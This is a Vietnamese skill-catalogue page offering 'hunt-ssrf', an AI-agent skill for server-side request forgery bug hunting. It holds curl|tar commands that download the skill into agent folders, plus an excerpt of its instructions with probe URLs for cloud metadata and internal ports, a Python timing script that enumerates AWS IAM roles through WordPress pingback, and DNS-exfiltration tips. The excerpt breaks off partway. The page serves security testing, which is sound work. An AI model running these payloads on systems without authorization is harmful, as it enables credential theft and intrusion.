hunt-ssrf – skill Bảo mật cho agent AI
Kỹ năng săn lỗi ssrf. Được xây dựng từ 15 báo cáo bug bounty công khai, bao gồm SSRF lấy metadata AWS (HackerOne $25k Analytics PDF, Shopify Exchange $25k, vụ rò rỉ 106M bản ghi Capital One, Dropbox/HelloSign $4,913), SSRF metadata GCP (Snapchat $4k), SSRF Azure IMDS (chuỗi Azure DevOps $15k, ChatGPT Custom Actions
Cài skill hunt-ssrf bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ssrf-98122.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /hunt-ssrf – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ssrf-98122.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $hunt-ssrf – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ssrf-98122.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /hunt-ssrf – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ssrf-98122.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /hunt-ssrf – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
When to Use
Use when the target has any feature that fetches a URL, imports data from a remote source, generates previews/screenshots, processes webhooks, or renders documents. SSRF allows an attacker to make the server itself perform network requests — reaching internal services, cloud metadata endpoints, and otherwise inaccessible infrastructure. Every link-preview, file-import, image-proxy, webhook-registration, PDF-generation, and redirect-following endpoint is a candidate. Highest-value targets: cloud-hosted SaaS, Kubernetes/orchestration platforms, CI/CD systems, and URL-fetching features.
Crown Jewel Targets
SSRF is highest-value when the target runs on cloud infrastructure (AWS, GCP, Azure) where metadata services expose credentials, or when the server sits inside a complex internal network (Kubernetes clusters, microservice meshes, internal APIs). Priority targets:
- Cloud-hosted SaaS products (GCP metadata at
[REDACTED_IP]ormetadata.google.internal, AWS IMDSv1) - Kubernetes/orchestration platforms — aggregated API servers, metrics-server, kubelet endpoints expose privileged cluster operations
- Internal developer tooling — CI/CD, workflow orchestration (Flyte, Argo), admin panels not exposed externally
- Link preview / URL fetching features — Reddit-style preview APIs, Slack-style unfurling, media processors
- Dataset/file import pipelines — anything that fetches remote URLs on behalf of a user
- Enterprise self-hosted software (GitHub Enterprise, GitLab) — SSRF frequently chains to RCE via internal services
Payouts are highest when SSRF reaches: cloud credentials → account takeover, internal admin APIs → data exfil, or chains to RCE.
---
OOB-Or-It-Didn't-Happen Gate (Read First)
Claims of blind SSRF require an out-of-band (OOB) confirmation. Always. No exceptions.
OOB means: a Burp Collaborator domain, an interactsh-client listener, a canarytoken, or any DNS+HTTP receiver you control that confirms the server actually made an outbound network connection on your behalf.
What is NOT confirmation of SSRF
- The server echoing your URL back in an error message. Example:
"The Web application at http://evil.example.com/x could not be found"— this is the server formatting your input into an error string, NOT making an outbound HTTP request. The error came from string formatting, not from network failure. - The server returning a different status code for an external URL vs
localhost. Different error responses can come from URL-scheme validators, not from actual fetching. - A delayed response when the URL is sent. Delay can come from DNS resolution attempts within the parser, not from completed HTTP fetches.
What IS confirmation of SSRF
- A DNS lookup for your unique Collaborator subdomain appears in the OOB listener.
- An HTTP request to your Collaborator HTTP endpoint with the server's source IP and User-Agent.
- For SSRF in JavaScript-execution contexts (PDF renderers, headless browsers), a fetch from the server to your callback URL.
Default workflow
1. Plant the Collaborator subdomain first (sub-tag it per sink: dlsrcurl.<collab>, import.<collab>, etc., so callbacks tell you which sink fired).
2. Send the request to the target endpoint.
3. Wait 30–120 seconds, then poll the OOB listener.
4. Only after a confirmed callback do you claim SSRF.
5. If zero callbacks across all sub-tagged sinks: SSRF claims must be retracted, even if error messages echo URLs.
Lesson from a authorized engagement: SharePoint's /_layouts/15/download.aspx?SourceUrl= returned 500 with the title "The Web application at <attacker-URL> could not be found". Initial scan flagged this as SSRF (server clearly processed the URL). 38 Collaborator-tagged payloads across 12+ URL-accepting parameters yielded zero DNS or HTTP interactions. The "echo" was client-side error-string formatting; the server never made an outbound HTTP request. The path is actually an SP-internal SPFile/SPWebApplication resolver, not a generic URL fetcher. Reporting this as SSRF would have been N/A'd at triage.
---
Attack Surface Signals
URL Patterns to Hunt
/api/*/preview
/api/*/fetch
/api/*/import
/api/*/webhook
/api/*/proxy
/api/*/render
/api/*/link
/api/*/screenshot
/api/*/export
/api/*/validate
?url=
?uri=
?endpoint=
?redirect=
?src=
?source=
?feed=
?host=
?target=
?dest=
?file=
?path=
?callback=
?image=
?load=
?fetch=JS Patterns (in client-side code)
// Look for these in JS bundles
fetch(userInput)
axios.get(params.url)
XMLHttpRequest + variable URL
url: req.body.url
src: params.source
href: query.endpointResponse Header Signals
X-Forwarded-For headers echoed back
Server: internal-service
Via: 1.1 internal-proxy
X-Cache headers revealing internal hostnamesTech Stack Signals
- Kubernetes — any public-facing aggregated API, metrics endpoints
- GCP — any service fetching URLs that runs on Compute Engine/GKE
- Node.js/Python with URL-fetching libraries (
requests,node-fetch,axios) - Headless browsers (Puppeteer, PhantomJS) used for screenshots/PDF — extremely high value
- XML/DSPL/CSV import features — XXE-style SSRF vector
- OAuth/webhook registration endpoints
---
Step-by-Step Hunting Methodology
1. Map all URL-input parameters across the target: spider JS files for fetch calls, check all API docs, look for file-import, link-preview, webhook, image-proxy, and redirect features.
2. Set up an out-of-band detection server using Burp Collaborator, interactsh, or https://canarytokens.org — you need a unique per-test DNS/HTTP callback domain.
3. Send your callback URL as the parameter value first (blind SSRF check before anything else):
url=https://YOUR.interactsh.com/test
Confirm the server makes an outbound connection. This proves execution before attempting internal targets.
4. Test internal cloud metadata endpoints:
- GCP:
http://metadata.google.internal/computeMetadata/v1/ - AWS:
http://[REDACTED_IP]/latest/meta-data/ - Azure:
http://[REDACTED_IP]/metadata/instance
5. Test localhost and common internal ports:
http://localhost/
http://127.0.0.1:8080/
http://127.0.0.1:6443/ (Kubernetes API)
http://127.0.0.1:2379/ (etcd)
http://127.0.0.1:9090/ (Prometheus)
http://127.0.0.1:9200/ (Elasticsearch)
6. Check for redirect-based SSRF — if the endpoint validates the initial URL but follows 30x redirects, host a redirect server pointing to internal addresses. Kubernetes report (Report 3) was specifically triggered by hijacked API servers returning 30x responses.
6b. Timing Oracle — Blind Data Extraction from IMDS — When SSRF is confirmed but response content is not returned (e.g., WordPress pingback.ping faultCode 0), use timing differences to enumerate AWS IAM roles and extract IMDS metadata character-by-character:
import subprocess, time
def ssrf_time(url):
xml = f'''<?xml version="1.0"?><methodCall><methodName>pingback.ping</methodName>
<params><param><value><string>{url}</string></value></param>
<param><value><string>https://target.com/</string></value></param>
</params></methodCall>'''
start = time.perf_counter()
subprocess.run(["curl", "-sk", "-X", "POST",
"https://target.com/xmlrpc.php",
"-H", "Content-Type: text/xml", "-d", xml],
capture_output=True, timeout=15)
return time.perf_counter() - start
# IMDS response size correlates with timing
baseline = ssrf_time("http://[REDACTED_IP]/latest/meta-data/")
# Role exists = JSON payload (slower), 404 = tiny response (faster)
for role in ["admin","ec2","s3","lambda","ecs","SSM-Role","EC2Role"]:
t = ssrf_time(f"http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/{role}")
print(f" {role}: {t:.3f}s -> {'FOUND' if t > baseline*1.15 else '404'}")
Field evidence (retail.example.com, June 2026): IMDS /meta-data/ = 344ms, /iam/security-credentials/ = 435ms, /instance-id = 301ms. Timing varies proportionally to response size — enables blind extraction of IAM roles and metadata content.
Pitfall: Network jitter causes ±50ms variance. Run each test 3 times, use the median. Skip if baseline variance exceeds 20%.
7. Test JavaScript-execution contexts (headless browsers, PDF renderers):
- Inject
<script>tags that makeXMLHttpRequestorfetch()calls to internal services - Exfil via DNS: encode response data in subdomain of your callback domain
8. Enumerate the internal network using timing differences and error message variations:
- Port scan via response time (
connection refusedvs timeout) - Check error messages for hostname/IP leakage
9. Chain findings — if you have SSRF to internal services, look for:
- Unauthenticated admin endpoints
- Red
… (nội dung đầy đủ có trong gói tải về)
Skill liên quan
- fda-qsr-audit-prep – /compliance-os:fda-qsr-audit-prep [phạm vi] — Kiểm tra bắt buộc gồm 6 câu hỏi cho audit…
- hunt-supabase – Săn lỗ hổng khai thác Supabase — phát hiện anon key của Supabase trong JS bundle, liệt…
- hunt-websocket – Săn lỗ hổng WebSocket — Cross-Site WebSocket Hijacking (CSWSH), thiếu hoặc kiểm tra…
- broken-authentication – Xác định và khai thác lỗ hổng xác thực và quản lý phiên trong ứng dụng web. Broken…
- brooks-audit – Kiểm toán kiến trúc: lập bản đồ phụ thuộc giữa các module, kiểm tra tính toàn vẹn phân…
- gdpr-audit-prep – /compliance-os:gdpr-audit-prep [scope] — Bộ 6 câu hỏi chất vấn bắt buộc, có trích dẫn…
- hunt-xss – Kỹ năng săn lỗ hổng XSS. Được xây dựng từ 174 báo cáo bug bounty công khai. Dùng khi săn…
- hunt-xxe – Kỹ năng săn lỗ hổng XXE. Được xây dựng từ 10 báo cáo bug bounty công khai, gồm XXE qua…